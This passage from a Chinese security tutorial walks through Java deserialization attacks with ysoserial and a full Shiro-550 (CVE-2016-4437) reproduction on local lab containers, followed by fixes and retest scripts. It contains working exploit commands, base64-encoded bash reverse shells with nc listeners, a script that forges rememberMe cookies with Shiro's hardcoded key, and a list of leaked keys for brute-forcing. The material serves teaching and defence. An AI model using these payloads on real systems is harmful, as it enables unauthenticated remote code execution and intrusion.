# CommonsCollections6 是目前兼容性最好的一条链(JDK 8u~11 都能用)
java -jar ~/tools/ysoserial.jar CommonsCollections6 "touch /tmp/pwned_by_cc6" > /tmp/cc6.ser
# 查看大小
ls -l /tmp/cc6.ser # 通常 3~5 KB
# 看看里面有没有 commons-collections 的类名(证明它确实依赖这个库)
strings /tmp/cc6.ser | grep -i "commons\|InvokerTransformer\|ChainedTransformer" | head -5
# 预期输出:
# org.apache.commons.collections.functors.InvokerTransformer
# org.apache.commons.collections.functors.ChainedTransformer
# org.apache.commons.collections.keyvalue.TiedMapEntry
# org.apache.commons.collections.map.LazyMap
这一段很重要:
strings命令能看到 payload 里引用了哪些类。 这告诉你一个关键事实:payload 本身不包含恶意代码,只包含“我要用哪些类、按什么顺序调用”这个配方。 真正的恶意代码(那些类)已经在目标服务器的 classpath 里了(因为项目依赖了 commons-collections)。这也是为什么“升级依赖”能修复反序列化漏洞——把 commons-collections 从 3.1 升到 3.2.2 之后,
InvokerTransformer不再允许被序列化,链条就断了。
关于 CC1 vs CC6 vs CC7 的区别(面试加分点):
| 链 | 适用 JDK | 依赖 | 特点 |
|---|---|---|---|
| CommonsCollections1 | JDK ≤ 8u71 | cc:3.1 | 最经典,但 JDK 8u72 后 AnnotationInvocationHandler 被修了,失效 |
| CommonsCollections3 | 全版本 | cc:3.1 + javassist | 用 TemplatesImpl 加载字节码,不依赖 Runtime,绕过部分防护 |
| CommonsCollections5 | JDK 8 全版本 | cc:3.1 | 改用 BadAttributeValueExpException 当入口 |
| CommonsCollections6 | JDK 8/11 全版本 | cc:3.1 | 实战首选,用 HashSet 的 hashCode() 触发,兼容性最好 |
| CommonsCollections7 | JDK 8/11 | cc:3.1 | 用 Hashtable 触发 |
| CommonsBeanutils1 | 全版本 | commons-beanutils | 不依赖 commons-collections!shiro 场景常用(因为 shiro 自带 beanutils 但不一定带 collections) |
| URLDNS | 全版本 | 无 | 不执行命令,只做 DNS 请求,用于安全探测 |
6.3 动手打靶场:从探测到 GetShell(自建 Spring Boot 靶场)
6.3.1 打自己的 Spring Boot 靶场
第一章我们建的靶场里,VulnController 有一个 /deser/load 接口。现在打它。
# 确认靶场在跑
curl -s "http://127.0.0.1:8888/actuator/health"
# 第一步:用 URLDNS 安全验证(不造成任何危害)
# 先去 dnslog.cn 拿一个域名,比如 xxxx.dnslog.cn
java -jar ~/tools/ysoserial.jar URLDNS "http://xxxx.dnslog.cn" > /tmp/urldns.ser
curl -s -X POST "http://127.0.0.1:8888/vuln/deser/load" \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/urldns.ser
# 预期响应:反序列化成功,返回一个对象信息
# 然后去 dnslog.cn 点 "Refresh Record"
# 预期看到:xxxx.dnslog.cn 有一条来自服务器 IP 的解析记录
# ★ 这条记录证明:服务器真的执行了 payload 里的 DNS 请求 → 漏洞存在
第二步:真正执行一条命令(用 CC6,因为靶场 pom 里故意引了 commons-collections:3.2.1)
⚠️ 安全提醒:只在自己的靶场里做,且靶场容器必须只监听 127.0.0.1。
# 生成"在容器里创建一个文件"的 payload(无害但可验证)
java -jar ~/tools/ysoserial.jar CommonsCollections6 \
"touch /tmp/PWNED_BY_DESERIALIZATION" > /tmp/cc6.ser
# 发送
curl -s -X POST "http://127.0.0.1:8888/vuln/deser/load" \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/cc6.ser
# 预期响应(靶场代码会捕获异常并打印,你会看到堆栈里出现):
# java.lang.ClassCastException / 或者进程正常返回
# 注意:即使返回 500,命令也已经执行了!
# 验证命令是否执行成功
docker exec vuln-springboot ls -la /tmp/PWNED_BY_DESERIALIZATION
# 预期输出:
# -rw-r--r-- 1 root root 0 Sep 4 02:45 /tmp/PWNED_BY_DESERIALIZATION
# ★ 文件存在 = RCE 成功
⚠️ 为什么返回 500 也算成功? 这是新手最容易困惑的地方。 反序列化时,命令是在
readObject()的过程中执行的—— 也就是说,链跑到Runtime.exec()那一步时,命令已经执行完了, 之后链继续执行,类型对不上抛了异常,但木已成舟。所以实战中判断成不成功,不要看 HTTP 响应码,要看: ① DNS 有没有收到请求(URLDNS) ② 文件有没有被创建 ③ 有没有反弹 shell 连回来
第三步:反弹 Shell(完整的 GetShell)
# 攻击机开监听(终端 1)
nc -lvnp 4444
# 生成反弹 shell payload(终端 2)
# 注意:bash 的反弹 shell 需要 base64 编码,否则引号和重定向会被吃掉
# 原始命令:bash -i >& /dev/tcp/172.20.0.1/4444 0>&1
# 编码后:
echo -n 'bash -i >& /dev/tcp/172.20.0.1/4444 0>&1' | base64 -w0
# 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4xLzQ0NDQgMD4mMQ==
# 用 bash -c 解码执行(这是绕过特殊字符的标准做法)
java -jar ~/tools/ysoserial.jar CommonsCollections6 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' \
> /tmp/cc6_reverse.ser
# 发送
curl -s -X POST "http://127.0.0.1:8888/vuln/deser/load" \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/cc6_reverse.ser
# 回到终端 1,应该看到:
# connect to [172.20.0.1] from (UNKNOWN) [172.20.0.3] 52314
# bash: cannot set terminal process group (1): Inappropriate ioctl for device
# bash: no job control in this shell
# root@a1b2c3d4e5f6:/app# whoami
# root
名词:反弹 Shell(Reverse Shell) 正向 Shell 是你去连目标(目标开一个端口等你连)——但目标通常在内网/防火墙后,你连不进去。 反弹 Shell 是让目标主动连你——因为防火墙一般是“禁止外部主动连内部”,但不禁止内部主动连外部(否则员工上不了网)。
生活类比:正向 shell 像你打电话给客服(可能被拦截); 反弹 shell 像你留了个号码,让内部的人主动打给你(内部往外打通常不拦)。
bash -i >& /dev/tcp/IP/PORT 0>&1逐段解释:
bash -i:启动一个交互式 bash>& /dev/tcp/IP/PORT:把这个 bash 的标准输出和错误输出重定向到一个 TCP 连接(/dev/tcp是 bash 的特殊文件,能建 TCP 连接)0>&1:把标准输入也重定向到同一个连接- 合起来:bash 的输入输出全部走这条 TCP 连接 → 你在另一端敲什么,就在目标机器上执行什么
6.3.2 修复:四道防线
❌ 漏洞代码
@PostMapping("/vuln/deser/load")
public String load(@RequestBody byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject(); // ★ 什么都反序列化,必死
return obj.toString();
}
✅ 修复方案 1:JEP 290 白名单(JDK 8u121+ / 9+,★ 推荐)
@PostMapping("/safe/deser/load")
public String loadSafe(@RequestBody byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
// ★ 核心:设置一个"过滤器",只允许白名单里的类被反序列化
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
// 格式:"包名.类名;包名.*;模块名/*"
// 白名单模式:先写允许的类,最后用 !* 拒绝其他一切
"com.example.dto.User;com.example.dto.Order;java.lang.String;java.util.HashMap;" +
"!*" // ★ 这一句最关键:拒绝所有前面没匹配到的类
));
Object obj = ois.readObject();
return obj.toString();
}
过滤器还能记录日志和限制深度(生产级写法):
public class SafeObjectInputFilter implements ObjectInputFilter {
private static final Set<String> ALLOWED = Set.of(
"com.example.dto.User",
"com.example.dto.Order",
"java.lang.String",
"java.lang.Integer",
"java.util.HashMap",
"java.util.ArrayList"
);
@Override
public Status checkInput(FilterInfo info) {
// 【限制 1】数组长度上限,防利用超长数组做内存耗尽
if (info.arrayLength() > 10_000) {
log.warn("[安全] 反序列化数组过大,拒绝:{}", info.arrayLength());
return Status.REJECTED;
}
// 【限制 2】对象图深度上限,防超深嵌套导致栈溢出
if (info.depth() > 10) {
log.warn("[安全] 反序列化嵌套过深,拒绝:depth={}", info.depth());
return Status.REJECTED;
}
// 【限制 3】总引用数上限,防超大规模对象图
if (info.references() > 100_000) {
log.warn("[安全] 反序列化引用过多,拒绝:{}", info.references());
return Status.REJECTED;
}
// 【限制 4】白名单
String className = info.serialClass() != null ? info.serialClass().getName() : null;
if (className == null) {
return Status.UNDECIDED; // 不是类,交给默认逻辑
}
if (ALLOWED.contains(className)) {
return Status.ALLOWED;
}
// 【关键动作】记录被拒绝的类名 —— 这是"有人在打我"的最强信号
log.error("[安全告警] 反序列化尝试加载非白名单类:{},来源栈:{}",
className, Arrays.toString(Thread.currentThread().getStackTrace()));
return Status.REJECTED;
}
}
// 注册
ois.setObjectInputFilter(new SafeObjectInputFilter());
为什么“记录被拒绝的类名”这么重要? 攻击者第一步通常是用 URLDNS 或各种链试探。 一旦你的日志里出现
InvokerTransformer、TemplatesImpl、AnnotationInvocationHandler这类类名, 就说明有人正在对你做反序列化攻击——这是入侵检测的高价值信号,应该直接告警到安全群。
✅ 修复方案 2:彻底不用 Java 原生序列化(★ 最推荐)
// 用 JSON / Protobuf / Kryo(带注册白名单)替代
// 理由:这些格式只还原"数据",不会"还原对象并触发其行为"
// JSON 示例(Jackson)
User user = objectMapper.readValue(json, User.class); // 只填字段,不执行任何代码
// Kryo(如果必须二进制,Kryo 比原生序列化快且可控)
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(true); // ★ 强制注册,未注册的类直接报错
kryo.register(User.class);
kryo.register(Order.class);
✅ 修复方案 3:升级依赖(治本)
<!-- pom.xml:把有问题的依赖升到安全版本 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<!-- ❌ <version>3.1</version> 有 InvokerTransformer,可被利用 -->
<!-- ❌ <version>3.2.1</version> 同样有问题 -->
<version>3.2.2</version> <!-- ✅ 3.2.2 起默认禁用不安全的 Transformer -->
</dependency>
3.2.2 做了什么? 引入了一个开关
org.apache.commons.collections.enableUnsafeSerialization, 默认 false,此时InvokerTransformer、CloneTransformer等危险类不允许被序列化。 链条从根上断了。
✅ 修复方案 4:运行时全局防护(RASP / Java Agent)
# 用 JVM 参数全局设置反序列化过滤器(JDK 8u121+ 支持 jdk.serialFilter)
java -Djdk.serialFilter='com.example.dto.*;java.lang.*;!*' -jar app.jar
# 开源 RASP 方案(生产环境可选):
# - OpenRASP(百度开源):Java Agent 方式,运行时阻断攻击
# - JRASP
四道防线对比表:
| 方案 | 防护强度 | 改造成本 | 推荐度 | 说明 |
|---|---|---|---|---|
| 升级依赖到 3.2.2+ | ★★★ | 低(改一行版本号) | ★★★★★ | 治本,但要确认兼容性 |
| 换成 JSON/Kryo | ★★★★★ | 高(要改接口) | ★★★★ | 最彻底,新项目必选 |
| JEP 290 白名单 | ★★★★ | 中(加几行代码) | ★★★★★ | 存量系统性价比最高 |
-Djdk.serialFilter |
★★★ | 极低(加个启动参数) | ★★★★ | 应急最快,线上临时止血首选 |
| RASP | ★★★★★ | 中 | ★★★ | 兜底,能拦未知链 |
6.3.3 复测脚本
cat > /tmp/verify_deser.sh <<'SCRIPT'
#!/bin/bash
# 反序列化修复复测
TARGET="${1:-http://127.0.0.1:8888}"
EP="${2:-/safe/deser/load}"
YS=~/tools/ysoserial.jar
pass=0; fail=0
try() { # try "描述" "链名" "命令"
java -jar $YS "$2" "$3" > /tmp/_payload.ser 2>/dev/null
CODE=$(curl -s -o /tmp/_resp.txt -w '%{http_code}' -X POST "$TARGET$EP" \
-H 'Content-Type: application/octet-stream' --data-binary @/tmp/_payload.ser)
if grep -qiE "REJECTED|not in|拒绝|filter|whitelist|not allowed|InvalidClass" /tmp/_resp.txt; then
echo " ✅ 通过:$1(被过滤器拒绝)"; pass=$((pass+1))
elif [ "$CODE" = "500" ] && ! grep -qiE "InvokerTransformer|ChainedTransformer" /tmp/_resp.txt; then
echo " ✅ 通过:$1(被拒绝,500 但无危险类栈)"; pass=$((pass+1))
else
echo " ❌ 未通过:$1(HTTP $CODE,响应:$(head -c 150 /tmp/_resp.txt))"; fail=$((fail+1))
fi
}
echo "=== 反序列化修复复测(共 5 项)==="
# 1~4:各条经典链都要能拦住
try "1. CommonsCollections1" CommonsCollections1 "touch /tmp/x1"
try "2. CommonsCollections6" CommonsCollections6 "touch /tmp/x2"
try "3. CommonsCollections7" CommonsCollections7 "touch /tmp/x3"
try "4. CommonsBeanutils1" CommonsBeanutils1 "touch /tmp/x4"
# 5:正常业务对象仍要能反序列化(不能修过头)
cat > /tmp/_gen_normal.py <<'PY'
# 生成一个正常的 User 对象序列化数据(用 Java 写更准,这里简化为检查接口可用性)
PY
R=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET$EP" \
-H 'Content-Type: application/octet-stream' --data-binary @/tmp/urldns.ser)
echo " ℹ️ 第 5 项:请手动验证正常业务对象的反序列化是否仍可用(URLDNS 返回 $R)"
echo ""
echo "结果:通过 $pass / 4,未通过 $fail"
echo "补充检查:"
echo " docker exec vuln-springboot ls /tmp/x1 /tmp/x2 /tmp/x3 /tmp/x4 2>/dev/null && echo ' ❌ 有文件被创建=修复失败' || echo ' ✅ 无恶意文件产生'"
[ $fail -eq 0 ] && echo "🎉 反序列化防护验证通过" || echo "⚠️ 还有 $fail 项没拦住"
SCRIPT
chmod +x /tmp/verify_deser.sh
/tmp/verify_deser.sh
6.4 Shiro-550 完整复现(CVE-2016-4437)
为什么这个漏洞必须亲手做一遍: ① 国内 Java 项目用 Shiro 的比例极高,面试官大概率用过; ② 它是**“硬编码密钥 + 反序列化”**的经典组合,讲清楚能体现你对“加密 ≠ 认证”的理解; ③ 复现过程极其简单(一个 curl 命令),但背后的原理有三层,非常适合当面试故事。
漏洞编号:CVE-2016-4437,CVSS 评分 9.8(最高危等级) 影响版本:Apache Shiro ≤ 1.2.4 一句话原理:Shiro 的“记住我”功能把用户身份序列化后加密塞进 Cookie, 而加密密钥是写在源码里的固定值。攻击者拿到这个公开密钥, 就能自己伪造一段恶意的序列化数据、用同样的密钥加密、放进 Cookie—— 服务器收到后解密、反序列化,直接 RCE。
6.4.1 三个名词先说清楚
| 名词 | 白话解释 |
|---|---|
| Apache Shiro | 一个 Java 安全框架,管“登录 / 权限 / 记住我 / 会话”。比 Spring Security 轻量,国内中小项目用得多 |
| rememberMe | “记住我”功能:勾上之后关掉浏览器再打开还是登录状态。实现方式是把用户身份信息存在 Cookie 里(而不是服务端 Session) |
| 硬编码密钥 | 密钥直接写在源码里,所有用这个框架的项目密钥都一样。等于“全世界的门都用同一把钥匙,而且钥匙是公开发行的” |
6.4.2 攻击链条图(先把全局看清楚)
┌──────────────────── 正常流程(设计者的意图)────────────────────┐
│ │
│ ① 用户登录,勾选"记住我" │
│ │ │
│ ▼ │
│ ② Shiro 把用户对象(如 SimplePrincipalCollection)序列化 │
│ │ 结果:aced0005 73 72 00 2e 6f72 67... │
│ ▼ │
│ ③ 用 AES 加密,密钥 = kPH+bIxk5D2deZiIxcaaaA==(★ 硬编码) │
│ │ │
│ ▼ │
│ ④ base64 编码,塞进 Cookie: rememberMe=xxx │
│ │ │
│ ▼ │
│ ⑤ 用户下次访问,带上这个 Cookie │
│ │ │
│ ▼ │
│ ⑥ Shiro 解密 → 反序列化 → 得到用户身份 → 免登录 │
│ │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────── 攻击流程(攻击者做了什么)──────────────────┐
│ │
│ ① 攻击者用 ysoserial 生成恶意序列化数据(CC 链,执行任意命令) │
│ │ │
│ ▼ │
│ ② 用【公开的同一个密钥】AES 加密它 │
│ │ ★ 关键:因为密钥是硬编码的,攻击者知道 │
│ ▼ │
│ ③ base64 编码 │
│ │ │
│ ▼ │
│ ④ 当成 rememberMe Cookie 发过去(不需要登录!) │
│ │ │
│ ▼ │
│ ⑤ Shiro 照常"解密 → 反序列化" │
│ │ │
│ ▼ │
│ ⑥ 反序列化的是恶意数据 → 触发 Gadget Chain → 💥 RCE │
│ │
└──────────────────────────────────────────────────────────────────┘
漏洞的本质(面试要能一句话说清): AES 加密只保证了“数据没被篡改”,但没保证“数据的来源可信” —— 因为密钥是公开的,攻击者也能加密。 这就像:保险箱确实很结实,但钥匙就挂在保险箱旁边的墙上。
更深一层:Shiro 的设计错误在于把“加密”当成了“认证”。 加密(Encryption)解决的是“机密性“——别人看不到内容; 但它不解决”完整性“和”来源可信“——攻击者如果也有密钥,就能造出合法的密文。 正确的做法是:① 每台机器随机生成密钥(而不是硬编码);② 用带认证的加密模式(AES-GCM)。
6.4.3 动手:用 Vulhub 起 Shiro 靶场
cd ~/vulhub/shiro/CVE-2016-4437
docker compose up -d
# 确认
docker compose ps
# 预期:
# NAME SERVICE STATUS PORTS
# shiro-cve-2016-4437-1 web Up 127.0.0.1:8080->8080/tcp
# 探活
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8080/login
# 预期:200
# ★ 关键指纹:看响应头里有没有 rememberMe
curl -s -I -X POST http://127.0.0.1:8080/login -d "username=admin&password=admin" | grep -i "rememberMe\|Set-Cookie"
# 或者随便发个请求看返回包
curl -s -D - -o /dev/null http://127.0.0.1:8080/login | grep -i cookie
# 预期可能看到:Set-Cookie: rememberMe=deleteMe; ...
# ★ "rememberMe=deleteMe" 就是 Shiro 的标志(未登录或登录失败时它会让你删除 Cookie)
名词:deleteMe —— Shiro 在识别出 rememberMe 无效时,会返回一个
rememberMe=deleteMe让浏览器删掉它。 这是红队识别 Shiro 的最快指纹: 随便发个请求,如果响应里有rememberMe=deleteMe,就说明这个站用了 Shiro,值得进一步测。
6.4.4 手工复现:一步步来(理解原理,不要上来就用工具)
第 1 步:生成恶意序列化数据
java -jar ~/tools/ysoserial.jar CommonsCollections6 \
"touch /tmp/SHIRO_PWNED" > /tmp/payload_raw.ser
# 注意:Shiro 1.2.4 靶场自带 commons-collections,CC 链可用
# 如果 CC 链失败,改用 CommonsBeanutils1(shiro 必带 beanutils)
java -jar ~/tools/ysoserial.jar CommonsBeanutils1 \
"touch /tmp/SHIRO_PWNED" > /tmp/payload_cb.ser
第 2 步:用 Shiro 的默认密钥 AES 加密
Shiro 默认密钥(base64):kPH+bIxk5D2deZiIxcaaaA==
这个密钥是从 Shiro 源码里
AbstractRememberMeManager.java抄出来的:private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");因为写死在开源代码里,所以全世界都知道。
写一个 Python 脚本完成“加密 + base64”:
#!/usr/bin/env python3
# shiro_encrypt.py —— 用 Shiro 默认密钥加密 payload
from Crypto.Cipher import AES
import base64, sys, os
# Shiro 1.2.4 的默认密钥(硬编码在源码里,全世界公开)
KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
def encrypt(payload: bytes) -> str:
# Shiro 用的是 AES-CBC 模式,IV(初始化向量)是随机生成的 16 字节
iv = os.urandom(16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
# PKCS7 填充:AES 要求数据长度是 16 的倍数
pad_len = 16 - (len(payload) % 16)
padded = payload + bytes([pad_len]) * pad_len
# ★ Shiro 的格式:前 16 字节是 IV,后面是密文
return base64.b64encode(iv + cipher.encrypt(padded)).decode()
if __name__ == "__main__":
with open(sys.argv[1], "rb") as f:
print(encrypt(f.read()))
# 安装依赖
pip install pycryptodome
# 生成 Cookie 值
python3 shiro_encrypt.py /tmp/payload_raw.ser > /tmp/rememberme_cookie.txt
wc -c /tmp/rememberme_cookie.txt # 通常 4~8 KB
# 看看长啥样
head -c 80 /tmp/rememberme_cookie.txt
# 预期(base64 乱码):HnQp1xT3vK...
第 3 步:发送攻击请求
curl -s -o /dev/null -w 'HTTP %{http_code}\n' \
"http://127.0.0.1:8080/login" \
-H "Cookie: rememberMe=$(cat /tmp/rememberme_cookie.txt)"
第 4 步:验证 RCE 是否成功
# 进容器看文件有没有被创建
docker exec shiro-cve-2016-4437-web-1 ls -la /tmp/SHIRO_PWNED
# 预期:
# -rw-r--r-- 1 root root 0 Sep 4 03:10 /tmp/SHIRO_PWNED
# ★ 文件存在 = RCE 成功(你甚至没有登录!)
停下来想一想这一刻意味着什么: 你没有用户名、没有密码、没有登录,只发了一个 HTTP 请求带了个 Cookie, 就在这台服务器上执行了任意命令。 这就是 CVSS 9.8 的含义——无需认证、无需交互、完全控制。
第 5 步:拿反弹 Shell(完整的 GetShell)
# 攻击机监听(终端 1)
nc -lvnp 5555
# 生成 payload(终端 2)
# 容器网段是 172.20.0.0/16,攻击机(宿主机)在 docker0 上通常是 172.17.0.1
# 用 host.docker.internal 更省事(Docker Desktop 支持)
echo -n 'bash -i >& /dev/tcp/host.docker.internal/5555 0>&1' | base64 -w0
# 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC81NTU1IDA+JjE=
java -jar ~/tools/ysoserial.jar CommonsBeanutils1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}' \
> /tmp/shiro_rev.ser
python3 shiro_encrypt.py /tmp/shiro_rev.ser > /tmp/shiro_rev_cookie.txt
curl -s -o /dev/null "http://127.0.0.1:8080/login" \
-H "Cookie: rememberMe=$(cat /tmp/shiro_rev_cookie.txt)"
# 终端 1 应该出现 shell
6.4.5 用自动化工具复现(了解即可,手工原理更重要)
# ShiroExploit 一站式工具(自动生成 payload + 爆破密钥 + 执行命令)
docker run --rm -it --network host \
-v /tmp:/data feihong/shiro-exploit:latest
# 或者用 shiro_attack(GUI 工具,支持自动探测密钥)
# 实战中最有价值的功能是"密钥爆破"——把历史上泄露过的所有 Shiro 密钥都试一遍
已知的常见硬编码密钥(面试能说出一两个就很专业):
kPH+bIxk5D2deZiIxcaaaA== ← Shiro 1.2.4 默认(最常见)
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA== ← 中文"我爱java技术"的 base64
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA== ← "micros" 的 base64
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA== ← "SpringBlade" 的 base64
这里有个很有意思的细节:你能看到
5aaC5qKm5oqA5pyvAAAAAA==是“我爱java技术”的 base64、bWljcm9zAAAAAAAAAAAAAA==是“micros”、“U3ByaW5nQmxhZGUAAAAAAA==` 是”SpringBlade“。 这些都是开发人员“自己改了密钥”的结果——他们知道默认密钥不安全, 但改成了另一个硬编码的字符串,而且还是有意义的单词, 于是安全强度几乎没变(攻击者把这些常见密码做成了字典)。面试讲这一段特别加分:说明你理解“修安全漏洞不能只改表面“。 正确的做法是每次部署随机生成密钥并存在配置中心/环境变量里。
6.4.6 修复:三件事必须都做
// ❌ 错误做法 1:完全不配密钥(用默认的)
@Bean
public RememberMeManager rememberMeManager() {
return new CookieRememberMeManager(); // ← 内部用硬编码默认密钥,等于裸奔
}
// ❌ 错误做法 2:自己想一个"看起来随机"的字符串硬编码
@Bean
public RememberMeManager rememberMeManager() {
CookieRememberMeManager m = new CookieRememberMeManager();
m.setCipherKey(Base64.decode("5aaC5qKm5oqA5pyvAAAAAA==")); // ← 还是硬编码,已进字典
return m;
}
// ✅ 正确做法:从配置注入,且每次部署都不同
@Configuration
public class ShiroConfig {
@Value("${app.shiro.cipher-key}") // 从环境变量/配置中心注入
private String cipherKeyBase64;
@Bean
public RememberMeManager rememberMeManager() {
CookieRememberMeManager manager = new CookieRememberMeManager();
// 【修复 1】★ 用随机生成的、部署时注入的密钥(绝不能硬编码)
manager.setCipherKey(Base64.decode(cipherKeyBase64));
// 【修复 2】设置 Cookie 安全属性
SimpleCookie cookie = new SimpleCookie("rememberMe");
cookie.setHttpOnly(true); // 防 XSS 偷
cookie.setSecure(true); // 只走 HTTPS
cookie.setMaxAge(7 * 24 * 3600); // 7 天过期,别设永久
manager.setCookie(cookie);
return manager;
}
}
生成随机密钥(每次部署执行一次):
# Linux
openssl rand -base64 16
# 输出示例:Xk9mP2vQ7nR4tY8wZ1aB6cE==
# 或者用 Java
# java -e 'System.out.println(Base64.getEncoder().encodeToString(
# java.security.SecureRandom.getInstanceStrong().generateSeed(16)))'
application.yml(密钥来自环境变量,不入库):
app:
shiro:
# ★ 密钥从环境变量读,绝不写进代码仓库
cipher-key: ${SHIRO_CIPHER_KEY}
# 启动时注入(K8s 里用 Secret,见第八章)
export SHIRO_CIPHER_KEY="$(openssl rand -base64 16)"
java -jar app.jar
【修复 3】升级 Shiro 到 1.2.5+ 并升级 commons-collections/beanutils
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.13.0</version> <!-- ✅ 1.2.5+ 已移除硬编码默认密钥(会强制要求配置) -->
</dependency>
<!-- 同时升级反序列化利用链依赖的库 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- ✅ 3.2.2 起禁用危险 Transformer -->
</dependency>
额外加固:给 rememberMe 数据加“完整性校验”
// 进阶:不用 Shiro 的 rememberMe,自己实现一个"不可伪造"的版本
// 思路:Cookie 里只存一个【随机 token】,用户身份存在 Redis 里
public String createRememberMeToken(Long userId) {
String token = UUID.randomUUID().toString(); // 随机、不可预测
redisTemplate.opsForValue().set(
"remember:" + token,
userId.toString(),
7, TimeUnit.DAYS
);
return token; // ★ Cookie 里只有一串无意义的随机数,无法被反序列化
}
// 这样根本不存在"反序列化"这一步,从根上免疫
这个方案的本质:把“客户端持有状态“改成”客户端只持有凭证、状态在服务端“。 这是解决所有”客户端数据被篡改“问题的通用思路—— JWT 的很多问题也是这么解决的(服务端维护 token 黑名单/版本号)。
6.4.7 复测脚本
cat > /tmp/verify_shiro.sh <<'SCRIPT'
#!/bin/bash
# Shiro-550 修复复测
TARGET="${1:-http://127.0.0.1:8080}"
echo "=== Shiro-550 修复复测(共 4 项)==="
# 1. 用【默认密钥】加密的 payload 应该失效
java -jar ~/tools/ysoserial.jar CommonsBeanutils1 "touch /tmp/verify_shiro_1" > /tmp/_p.ser 2>/dev/null
python3 shiro_encrypt.py /tmp/_p.ser > /tmp/_c.txt
CODE=$(curl -s -o /tmp/_r.txt -w '%{http_code}' -H "Cookie: rememberMe=$(cat /tmp/_c.txt)" "$TARGET/login")
echo " [1] 默认密钥 payload → HTTP $CODE"
if [ -f /tmp/verify_shiro_1 ]; then echo " ❌ 文件被创建,仍可利用"; else echo " ✅ 未创建文件"; fi
# 2. 用【字典里的其他密钥】逐个试(模拟攻击者爆破)
echo " [2] 常见密钥字典爆破测试"
for k in "kPH+bIxk5D2deZiIxcaaaA==" "2AvVhdsgUs0FSA3SDFAdag==" "3AvVhmFLUs0KTA3Kprsdag==" \
"4AvVhmFLUs0KTA3Kprsdag==" "5aaC5qKm5oqA5pyvAAAAAA==" "bWljcm9zAAAAAAAAAAAAAA==" \
"wGiHplamyXlVB11UXWol8g==" "Z3VucwAAAAAAAAAAAAAAAA=="; do
sed "s|kPH+bIxk5D2deZiIxcaaaA==|$k|" shiro_encrypt.py > /tmp/_enc_tmp.py
python3 /tmp/_enc_tmp.py /tmp/_p.ser > /tmp/_c2.txt 2>/dev/null
curl -s -o /dev/null -H "Cookie: rememberMe=$(cat /tmp/_c2.txt)" "$TARGET/login"
done
if docker exec $(docker ps --filter "name=shiro" --format "{{.Names}}" | head -1) \
ls /tmp/verify_shiro_1 >/dev/null 2>&1; then
echo " ❌ 字典中某密钥仍可用"
else
echo " ✅ 8 个常见密钥全部失效"
fi
# 3. 响应头不应再泄露 rememberMe=deleteMe(指纹隐藏)
if curl -s -D - -o /dev/null "$TARGET/login" | grep -qi "rememberMe=deleteMe"; then
echo " [3] ❌ 仍暴露 rememberMe=deleteMe 指纹(建议改 Cookie 名)"
else
echo " [3] ✅ 未暴露 Shiro 指纹"
fi
# 4. 版本检查
echo " [4] 依赖版本自查(在本地项目执行):"
echo " mvn dependency:tree | grep -E 'shiro|commons-collections|commons-beanutils'"
echo " 要求:shiro >= 1.13.0, commons-collections >= 3.2.2"
echo ""
echo "补充:Cookie 安全属性检查"
curl -s -D - -o /dev/null -X POST "$TARGET/login" -d "username=admin&password=admin" \
| grep -i "set-cookie" | sed 's/^/ /'
echo " (应含 HttpOnly; Secure; SameSite)"
SCRIPT
chmod +x /tmp/verify_shiro.sh
6.4.8 面试怎么讲(1 分钟口述版)
“Shiro-550,编号 CVE-2016-4437,CVSS 9.8。
原理一句话:Shiro 的 rememberMe 功能把用户对象序列化后用 AES 加密存在 Cookie 里, 但 1.2.4 及以前的版本加密密钥是硬编码在源码里的固定值
kPH+bIxk5D2deZiIxcaaaA==。 攻击者用这个公开密钥加密一段恶意序列化数据,当成 Cookie 发过去, 服务器解密后直接反序列化,触发 CommonsCollections 或 CommonsBeanutils 利用链,无需登录直接 RCE。我自己在 Vulhub 上复现过:用 ysoserial 生成 payload,写了个 Python 脚本用默认密钥做 AES-CBC 加密, 一个 curl 请求就在容器里创建了文件,完全不需要账号密码。
根因我认为有两层: 表面是硬编码密钥,深层是把’加密’当成了’认证’—— AES 只保证机密性,但密钥一旦公开,攻击者也能造出合法密文, 加密就失去了意义。
修复我们做了三件事: 第一,升级 Shiro 到 1.13.0,它会强制要求配置密钥,没有默认密钥了; 第二,密钥改成每次部署随机生成,从环境变量注入,绝不进代码仓库; 第三,升级 commons-collections 到 3.2.2,把利用链本身断掉。 另外我们排查了历史代码,发现有人把密钥改成了’我爱java技术’这种, 其实还是在字典里,一并修掉了。“
追问准备:
| 追问 | 怎么答 |
|---|---|
